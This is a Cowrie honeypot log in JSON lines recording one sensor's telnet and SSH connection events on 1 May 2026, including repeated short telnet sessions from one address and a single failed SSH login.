{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36718,"dst_ip":"159.203.135.109","dst_port":23,"session":"1692702b25a6","protocol":"telnet","message":"New connection: 51.161.172.108:36718 (159.203.135.109:23) [session: 1692702b25a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.625038Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36732,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1bf17ad5f8c","protocol":"telnet","message":"New connection: 51.161.172.108:36732 (159.203.135.109:23) [session: e1bf17ad5f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.680610Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36710,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab2ad9d4c8bf","protocol":"telnet","message":"New connection: 51.161.172.108:36710 (159.203.135.109:23) [session: ab2ad9d4c8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:42.715032Z"}
{"eventid":"cowrie.session.closed","duration":31.956754207611084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.109567Z","src_ip":"51.161.172.108","session":"a926631a27da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36848,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a4ad3d7005f","protocol":"telnet","message":"New connection: 51.161.172.108:36848 (159.203.135.109:23) [session: 2a4ad3d7005f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.226320Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36630,"dst_ip":"159.203.135.109","dst_port":23,"session":"d677d879304e","protocol":"telnet","message":"New connection: 51.161.172.108:36630 (159.203.135.109:23) [session: d677d879304e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.279206Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36840,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c176cecf925","protocol":"telnet","message":"New connection: 51.161.172.108:36840 (159.203.135.109:23) [session: 5c176cecf925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.296707Z"}
{"eventid":"cowrie.session.closed","duration":31.403725385665894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.348261Z","src_ip":"51.161.172.108","session":"d2be59ed808a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36864,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3d398350283","protocol":"telnet","message":"New connection: 51.161.172.108:36864 (159.203.135.109:23) [session: c3d398350283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.363521Z"}
{"eventid":"cowrie.session.closed","duration":30.997169256210327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.414713Z","src_ip":"51.161.172.108","session":"33b94bc370b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":58776,"dst_ip":"10.17.0.5","dst_port":23,"session":"86200b8cd9e4","protocol":"telnet","message":"New connection: 45.10.154.244:58776 (10.17.0.5:23) [session: 86200b8cd9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.498060Z"}
{"eventid":"cowrie.session.closed","duration":31.3968026638031,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.576828Z","src_ip":"51.161.172.108","session":"315b59bd9bb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99685263633728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.625545Z","src_ip":"51.161.172.108","session":"eca187596ccb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.192599534988403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.700512Z","src_ip":"51.161.172.108","session":"8fb06fc5ba7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.291505575180054,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.760300Z","src_ip":"51.161.172.108","session":"f8e15ef4753f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36990,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f294fc7f7e1","protocol":"telnet","message":"New connection: 51.161.172.108:36990 (159.203.135.109:23) [session: 9f294fc7f7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:43.909888Z"}
{"eventid":"cowrie.session.closed","duration":31.92986035346985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.042241Z","src_ip":"51.161.172.108","session":"ae004355dabf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.463881731033325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.192531Z","src_ip":"51.161.172.108","session":"55ee35b059b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630533695220947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.316138Z","src_ip":"51.161.172.108","session":"6a405427857f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687277793884277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.346567Z","src_ip":"51.161.172.108","session":"d90564353254","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.250821113586426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.351513Z","src_ip":"51.161.172.108","session":"a723fab3f412","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36946,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fa3741d68a3","protocol":"telnet","message":"New connection: 51.161.172.108:36946 (159.203.135.109:23) [session: 0fa3741d68a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.590827Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37080,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b57ed8a74d1","protocol":"telnet","message":"New connection: 51.161.172.108:37080 (159.203.135.109:23) [session: 2b57ed8a74d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.613327Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36958,"dst_ip":"159.203.135.109","dst_port":23,"session":"690aab2c38f9","protocol":"telnet","message":"New connection: 51.161.172.108:36958 (159.203.135.109:23) [session: 690aab2c38f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.660390Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36974,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a0f9a4cca54","protocol":"telnet","message":"New connection: 51.161.172.108:36974 (159.203.135.109:23) [session: 5a0f9a4cca54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.743498Z"}
{"eventid":"cowrie.session.closed","duration":31.69663643836975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.763889Z","src_ip":"51.161.172.108","session":"50efc72ebf5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37122,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d2163025076","protocol":"telnet","message":"New connection: 51.161.172.108:37122 (159.203.135.109:23) [session: 5d2163025076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.902061Z"}
{"eventid":"cowrie.session.closed","duration":31.637096166610718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.921743Z","src_ip":"51.161.172.108","session":"8aa8bef01221","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11614990234375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:44.966111Z","src_ip":"51.161.172.108","session":"3edfafeb5f38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37136,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3840b26e412","protocol":"telnet","message":"New connection: 51.161.172.108:37136 (159.203.135.109:23) [session: b3840b26e412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.129774Z"}
{"eventid":"cowrie.session.closed","duration":31.299055576324463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.270029Z","src_ip":"51.161.172.108","session":"c474ee0d50c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74754571914673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.289725Z","src_ip":"51.161.172.108","session":"3e799ac95bf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34082078933716,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.301529Z","src_ip":"51.161.172.108","session":"6b85b11d9452","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37170,"dst_ip":"159.203.135.109","dst_port":23,"session":"3afe45e13b1b","protocol":"telnet","message":"New connection: 51.161.172.108:37170 (159.203.135.109:23) [session: 3afe45e13b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.322786Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37216,"dst_ip":"159.203.135.109","dst_port":23,"session":"540d0e1f73a1","protocol":"telnet","message":"New connection: 51.161.172.108:37216 (159.203.135.109:23) [session: 540d0e1f73a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.366463Z"}
{"eventid":"cowrie.session.closed","duration":31.328165531158447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.419113Z","src_ip":"51.161.172.108","session":"824f65fdb104","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40270709991455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.424864Z","src_ip":"51.161.172.108","session":"5dad29495a18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37222,"dst_ip":"159.203.135.109","dst_port":23,"session":"73981f8a9fc5","protocol":"telnet","message":"New connection: 51.161.172.108:37222 (159.203.135.109:23) [session: 73981f8a9fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.480433Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37246,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc1748f11bc7","protocol":"telnet","message":"New connection: 51.161.172.108:37246 (159.203.135.109:23) [session: dc1748f11bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.562754Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37068,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c5ed4027f0","protocol":"telnet","message":"New connection: 51.161.172.108:37068 (159.203.135.109:23) [session: 99c5ed4027f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.583338Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":41206,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6bcb08b5055","protocol":"ssh","message":"New connection: 190.108.60.101:41206 (10.17.0.5:22) [session: c6bcb08b5055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.701932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.707341Z","src_ip":"190.108.60.101","session":"c6bcb08b5055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.12008047103882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.770252Z","src_ip":"51.161.172.108","session":"e06fb11a5a94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37248,"dst_ip":"159.203.135.109","dst_port":23,"session":"a988f1d5b809","protocol":"telnet","message":"New connection: 51.161.172.108:37248 (159.203.135.109:23) [session: a988f1d5b809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.799037Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37254,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbf7607f43f8","protocol":"telnet","message":"New connection: 51.161.172.108:37254 (159.203.135.109:23) [session: bbf7607f43f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.818106Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.904848Z","src_ip":"190.108.60.101","session":"c6bcb08b5055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37274,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f392927b972","protocol":"telnet","message":"New connection: 51.161.172.108:37274 (159.203.135.109:23) [session: 7f392927b972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:45.918987Z"}
{"eventid":"cowrie.session.closed","duration":31.696354150772095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:46.200280Z","src_ip":"51.161.172.108","session":"d096f64f3333","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37336,"dst_ip":"159.203.135.109","dst_port":23,"session":"f44d7625266b","protocol":"telnet","message":"New connection: 51.161.172.108:37336 (159.203.135.109:23) [session: f44d7625266b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:46.324637Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37322,"dst_ip":"159.203.135.109","dst_port":23,"session":"e31754829111","protocol":"telnet","message":"New connection: 51.161.172.108:37322 (159.203.135.109:23) [session: e31754829111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:46.398566Z"}
{"eventid":"cowrie.session.closed","duration":30.952688932418823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:46.462595Z","src_ip":"51.161.172.108","session":"1de1dc737b9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808160066604614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:46.472440Z","src_ip":"51.161.172.108","session":"1d3bf7400f03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884032249450684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:46.559072Z","src_ip":"51.161.172.108","session":"bd6e20a1e9c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37360,"dst_ip":"159.203.135.109","dst_port":23,"session":"01b613262930","protocol":"telnet","message":"New connection: 51.161.172.108:37360 (159.203.135.109:23) [session: 01b613262930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:46.638333Z"}
{"eventid":"cowrie.session.closed","duration":31.014481782913208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:46.708137Z","src_ip":"51.161.172.108","session":"b0b66de67249","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oracle","message":"login attempt [ubuntu/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:46.746147Z","src_ip":"190.108.60.101","session":"c6bcb08b5055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.666566848754883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:46.764238Z","src_ip":"51.161.172.108","session":"a87d48eb6436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37444,"dst_ip":"159.203.135.109","dst_port":23,"session":"39d227fe1001","protocol":"telnet","message":"New connection: 51.161.172.108:37444 (159.203.135.109:23) [session: 39d227fe1001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.168024Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37430,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2ec0b900561","protocol":"telnet","message":"New connection: 51.161.172.108:37430 (159.203.135.109:23) [session: c2ec0b900561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.177876Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37458,"dst_ip":"159.203.135.109","dst_port":23,"session":"991a00eeaef6","protocol":"telnet","message":"New connection: 51.161.172.108:37458 (159.203.135.109:23) [session: 991a00eeaef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.312397Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37466,"dst_ip":"159.203.135.109","dst_port":23,"session":"a221bcdefdb5","protocol":"telnet","message":"New connection: 51.161.172.108:37466 (159.203.135.109:23) [session: a221bcdefdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.333473Z"}
{"eventid":"cowrie.session.closed","duration":31.176668405532837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.401522Z","src_ip":"51.161.172.108","session":"57eab135805b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61631464958191,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.412566Z","src_ip":"51.161.172.108","session":"4fe4dc06a0e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62548041343689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.439960Z","src_ip":"51.161.172.108","session":"aeda6f9f8845","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.294140100479126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.449368Z","src_ip":"51.161.172.108","session":"de60968f1e71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37488,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a5d6c9bfb84","protocol":"telnet","message":"New connection: 51.161.172.108:37488 (159.203.135.109:23) [session: 5a5d6c9bfb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.529382Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37542,"dst_ip":"159.203.135.109","dst_port":23,"session":"1481634a593b","protocol":"telnet","message":"New connection: 51.161.172.108:37542 (159.203.135.109:23) [session: 1481634a593b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.694251Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37552,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f8f143e339e","protocol":"telnet","message":"New connection: 51.161.172.108:37552 (159.203.135.109:23) [session: 9f8f143e339e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.855110Z"}
{"eventid":"cowrie.session.closed","duration":31.27842092514038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.891356Z","src_ip":"51.161.172.108","session":"b617bd047add","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.128387451171875,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.913387Z","src_ip":"51.161.172.108","session":"e6a6ba689527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.590628147125244,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.940105Z","src_ip":"51.161.172.108","session":"1715c547f13e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:47.947993Z","src_ip":"190.108.60.101","session":"c6bcb08b5055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.120062828063965,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.006028Z","src_ip":"51.161.172.108","session":"d1100c4d00f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37612,"dst_ip":"159.203.135.109","dst_port":23,"session":"0718022586e5","protocol":"telnet","message":"New connection: 51.161.172.108:37612 (159.203.135.109:23) [session: 0718022586e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.073358Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37610,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc941b9f7cfc","protocol":"telnet","message":"New connection: 51.161.172.108:37610 (159.203.135.109:23) [session: cc941b9f7cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.153378Z"}
{"eventid":"cowrie.session.closed","duration":31.02993416786194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.203081Z","src_ip":"51.161.172.108","session":"e825fdc53010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316118717193604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.232623Z","src_ip":"51.161.172.108","session":"bdfc20767de3","protocol":"telnet"}
